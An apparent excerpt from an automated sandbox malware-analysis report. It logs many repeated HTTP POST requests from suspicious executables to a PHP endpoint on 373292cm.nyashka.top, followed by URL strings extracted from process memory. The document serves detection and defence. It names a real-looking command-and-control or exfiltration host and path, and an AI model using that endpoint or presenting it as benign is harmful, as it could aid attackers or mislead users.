Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 373292cm.nyashka.top

Source: unknown

HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.0000000003544000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyP
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.0000000003544000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyashka.top
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.0000000003327000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyashka.top/
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.000000000340A000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.000000000352C000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.000000000343E000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.0000000003544000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.00000000033AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php
Source: driverSavesNet.exe, 00000005.00000002.1913167210.000000000382D000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.0000000003327000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: fluent.exe, 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: fluent.exe, 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
